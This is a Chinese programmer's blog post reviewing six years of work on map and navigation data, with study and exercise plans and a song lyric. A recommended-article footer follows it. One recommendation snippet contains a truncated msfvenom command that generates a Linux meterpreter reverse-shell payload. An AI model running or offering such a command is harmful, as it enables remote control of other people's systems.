一位蜗牛程序员六年工作总结-2013_蜗牛程序员是什么意思-程序员宅基地

技术标签: 年度总结  

2013年的年度总结,直到过完年才开始。不是不想总结,是不知道从何处开始总结。从业6年多,估计是到了一个迷惘期,迷惘期是很可怕的,没有目标,没有动力,做事情由于动力不足,只能做到三分之二,还有三分之一冲不上去。今年由于小仔的出生,分散了不少精力。感觉时间过的真快,从出生到现在已经伴岁了。

言归正传,每年的年度总结都需要对去年做的计划都实现了多少做个分析,今年也不例外。
去年的计划:
(1)、多关心关心父母,最好每周给家里打个电话,去年基本上做到了,一周一个电话。
(2)、今年的头等大事当然是小仔要出生了,估计有的忙了。
(3)、今年学习的主要任务还是基础,主要有@网易公开课、@assembly、@C、@编译原理、@python、@oracleSpacial 。
(4)、保持良好的读书习惯和心态,今年计划多读一些金融方面的书籍。
(5)、继续游泳,继续打羽毛球,继续骑自行车,最好能学会打网球。保持良好的锻炼身体的习惯。

(1)、(2)、(4)、确实都实现的不错。(5)、骑车只骑了两次,羽毛球打的太少,游泳还不错。在2014年还需要加强。(3)今年也做了不少,JTS,OracleSpacial,C都做了不少总结。assembly和编译原理还有网易公开课几乎没怎么看,主要是太难了,实在是弄不明白。但是网易公开课我自己觉得还是没用心去看,这个学习平台是相当不错的,里面有技术,人文,历史,等等,丰富我们脑袋的知识库非常有用,而且都是质量相对来说比较高的视频。

今年的工作中规中矩,不怎么忙,具体做了几件事情都能数过来。(1)、模式图融合,对各种图商的模式图提取差异进行融合,这个程序算法上比较有难度,而且匹配度能匹配30%就已经相当不错了,具体原因是各个图商的道路差异确实比较大。(2)、道路增量更新,这个程序难度不算大,但需要对图商的道路拓扑关系非常熟悉,需要花大量的时间阅读图商的发布说明书。(3)、几次数据更新,数据更新已经有现成的程序,所以几乎没怎么花时间。(4)、路况API。这个就是发布一些标志的API,难度不大。(5)、基于数据挖掘技术的tdrive实现,这个工作现在还在进行中。主要是基于微软研究院的一篇论文,在导航中加入路况因素来引导,最后达到最佳的路径规划(不是最短距离)。目前是理工大学的一个研究生导师做论文分析以及算法分析,而我来程序实现。算法难度比较大,需要加把劲。

最近在读一本《高质量C++/C编程指南》这本书是林锐博士写的,记得刚毕业时候读过他的一本《软件工程》以及他的个人传记《我的大学十年》。他写的书还是不错的。这本书开篇就谈到编程老手与高手的误区。编程老手可能会长期用隐含错误的方式编程(习惯成自然),发现毛病后都不愿相信那是真的。编程高手可以在某一领域写出极有水平的代码,但未必能从全局把握软件质量的方方面面。老手不一定是高手,虽然半年下来写过不少算法,但是对程序的正确性、健壮性、可靠性、效率、易用性、可读性(可理解性)、可扩展性、可复用性、兼容性、可移植性等质量属性了如指掌?并且能再实践中运用自如吗?编程不是把功能实现就拉倒了,这只是初级码农干的事情。编程是一件细致活,需要精雕细刻。所以编程需要保持一颗纯粹的心,需要从编程风格,出错处理以及算法复杂度分析各个方面下足功夫,才能成长。

目前也没啥职业长期规划,总的来说把技术练好,为未来打基础。技术才是王道,技术才是硬通胀。出来混的要两把刷子,否则靠忽悠,能忽悠一时不能忽悠一世。对于管理,目前也涉及比较少,主要还是提高沟通和协调能力。至于未来某一天转到管理岗位那也是水到渠成的事情。

未来计划:今年特别需要把C/C++练好。导航或者地图,底层还是C/C++来实现的。java或者python都只是在做上层或者中上层的服务。所以需要向下沉,需要打通底层服务的实现逻辑,从数据编译到线路规划,到地图渲染到API接口服务都通了,才能真真在这个行业立足,才能算是一个真正意义上的Giser。

(1)、学习任务。@C/C++的学习,包括《高质量c++/c编程指南》,《C++ Primer》,《C++数据结构》这个估计的花上半年甚至一年的时间来学习。@网易公开课。
(2)、运动。加强游泳,羽毛球,自行车的运动。

最近玩了一下思维导图软件,把最近一年或者说几年需要读的书用思维导图画了一下。有些书已经读过了,只是还想在回味回味,比如拿破仑传,已经是读第三次了。


程序员一生必读的书籍


《蜗牛》
该不该 搁下重重的壳 查找到底那里有蓝天 
随着轻轻的风轻轻的飘 历经的伤 都不感觉疼

我要一步一步往上爬 等待阳光静静看着它的脸 
小小的天 有大大的梦想 重重的壳裹着轻轻的仰望 
我要一步一步往上爬 在最高点乘着叶片往前飞 
小小的天 流过的泪和汗 总有一天我有属于我的天 
我要一步一步往上爬 在最高点乘着叶片往前飞

任风吹干 流过的泪和汗 
我要一步一步往上爬 等待阳光静静看着它的脸 
小小的天 有大大的梦想 我有属于我的天 
流过的泪和汗 总有一天我有属于我的天







版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cdl2008sky/article/details/18987831

智能推荐

两种内存池管理方法对比_非固定大小的内存池-程序员宅基地

文章浏览阅读1.9k次,点赞4次,收藏11次。目录一、问题背景二、两种内存池管理2.1 固定大小内存块分配(参考正点原子STM32F4 malloc.c)2.1.1 初始化2.1.3释放原理2.2 可变大小内存块分配(参考WSF BLE协议栈buffer management)2.2.1 初始化2.2.2 分配原理2.2.3 释放原理三、总结和对比一、问题背景最近在调试ambiq apollo..._非固定大小的内存池

MPEG TS流简介-程序员宅基地

文章浏览阅读3.1k次。TS简介MPEG-TS(Transport stream)即Mpeg传输流定义于ITU-T Rec. H.222.0和ISO 13818-1标准中,属于MPEG2的系统层。MPEG2-TS面向的传输介质是网络和卫星等可靠性较低的传输介质,这一点与面向较可靠介质如DVD等的MPEG PS不同。1. TS数据包TS流由TS数据包即Transport stream packet组成。TS p...

Deepin wine QQ/微信中文显示为方块的原因之一_wine 字体方块-程序员宅基地

文章浏览阅读984次。问题原因:目录下~/.deepinwine,查找乱码的应用Deepin-QQ、Deepin-WeChat,相同路径/drive_c/windows/Fonts下查看是否有字体,笔者发现没有任何字体,这就是原因所致,wine程序会在此处寻找字体,而不能直接利用linux系统的字体解决方法:把/usr/share/fonts/Fonts_Win下字体复制到这里,使wine应用程序能找到至少一种fallback字体,也可以在别的地方的fonts问价夹下,拷贝.ttf字体文件到这里..._wine 字体方块

整个元素周期表通用,AI 即时预测材料结构与特性-程序员宅基地

文章浏览阅读264次。编辑 | 绿萝材料的性质由其原子排列决定。然而,现有的获得这种排列的方法要么过于昂贵,要么对许多元素无效。现在,加州大学圣地亚哥分校纳米工程系的研究人员开发了一种人工智能算法,可以几乎即时地预测任何材料(无论是现有材料还是新材料)的结构和动态特性。该算法被称为 M3GNet,用于开发 matterverse.ai 数据库,该数据库包含超过 3100 万种尚未合成的材料,其特性由机器学习算法预测。M..._人工智能预测材料属性

Docker & Nvidia-docker 镜像基础操作_dokcer怎么使用nvidia作为基础镜像-程序员宅基地

文章浏览阅读5.8k次,点赞2次,收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多,下面记录一下基础的命令,为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动,CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像:nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像

测试生成攻击Linux操作系统的木马命令_linux msfvenom -p linux/x64/meterpreter/reverse_tc-程序员宅基地

文章浏览阅读312次,点赞6次,收藏9次。你看你以为黑客有多牛呢,都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监

随便推点

dwd明细粒度事实层设计_dwd层如何设计-程序员宅基地

文章浏览阅读1.8k次。目录1-数仓dwd事实层介绍2-数仓dwd层事实表设计原则3-数仓dwd层事实表设计规范4-建表示例1-数仓dwd事实层介绍明细粒度事实层以业务过程驱动建模,基于每个具体的业务过程特点,构建最细粒度的明细层事实表。您可以结合企业的数据使用特点,将明细事实表的某些重要维度属性字段做适当冗余,即宽表化处理。公共汇总粒度事实层(DWS)和明细粒度事实层(DWD)的事实表作为数据仓库维度建模的核心,需紧绕业务过程来设计。通过获取描述业务过程的度量来描述业务过程,包括引用的维度和与业务过程有关的度量。度量通常为_dwd层如何设计

Ambari 2.7.3.0 安装部署 hadoop 3.1.0.0 集群视频完整版_ambari2.7.3 hadoop 部署-程序员宅基地

文章浏览阅读1.5k次。一、前言很多小伙伴也都知道,最近一直在做 Ambari 集成自定义服务的教学笔记和视频。之前在准备 Ambari 环境的时候,考虑到有朋友会在 Ambari 安装部署时遇到问题,所以贴心的我呢,就在搭建 Ambari 环境的时候,把这个视频录制好了,总共时长共 87 分钟,将近1个半小时,附带移除 SmartSense 服务及 FAQ 。也提前介绍一下搭建好的 Ambari 相关版本信息:..._ambari2.7.3 hadoop 部署

使用R语言保存CSV文件_r软件保存为csv文件-程序员宅基地

文章浏览阅读881次。本文介绍了如何使用R语言保存CSV文件。我们使用write.csv函数将数据框保存为CSV格式。您只需提供要保存的数据对象和文件路径,即可轻松创建CSV文件。CSV文件是一种通用的数据交换格式,在数据分析和数据处理中广泛使用。希望本文对您有所帮助,祝您在R语言中保存CSV文件时顺利进行数据处理和分析!_r软件保存为csv文件

VR技术赋能数字经济发展新机遇,加快构建双循环新发展格局_vr商城建设对区域经济-程序员宅基地

文章浏览阅读498次。当下,数字化浪潮正重塑世界经济发展格局,数字经济正在成为全球经济可持续增长新引擎。我国超大规模的市场经济优势为数字经济发展提供了广阔而丰富的应用场景,也成为推动传统产业升级改造、加快”构建国内国际双循环相互促进的新发展格局“的重要引擎。据国家统计局数据显示:2020年第一季度,我国GDP呈现出6.8%的负增长态势。今年1月份至5月份,与互联网相关的新业态、新模式却继续保持逆势增长。全国实物商品网上零售额同比增长11.5%;实物商品网上零售额占社会消费品零售总额比重为24.3%,比去年同期提高5.4个百分点_vr商城建设对区域经济

HCS12X–数据定义(如何在CodeWarrior中将数据定义到分页区)_codewarrior数组如何定义-程序员宅基地

文章浏览阅读384次。由于在暑假匆忙接收的嵌入式项目中需要使用特别大的数组,非分页RAM的内存不够用了,没办法,硬着头皮尝试使用分页RAM,但是完全没有单片机的基础,导致极其的困难。之前写程序都是按照纯软件的思维,主要考虑架构,不会考虑到每个变量具体存在哪个物理地址这么底层的问题,结果被飞思卡尔这分页地址、prm文件什么的搞得一头雾水,而网上的资料又少,讲的又大同小异的笼统,最后写出来的程序因为这分页地址的原因存在各种_codewarrior数组如何定义

wed服务器简介_wed服务器的主要特点之一就是它具有十几个html文件连接到另一个html文件的能力称为-程序员宅基地

摘要:Web服务器是用于提供Web服务的软件,它通过HTTP协议来传输和接收网页和其他资源。在Inteet上,HTTP通信通常在TCP/IP连接上进行,使用端口号80。Apache是一种常见的Web服务器软件,其主程序为httpd,根目录为/var/www/html。

推荐文章

热门文章

相关标签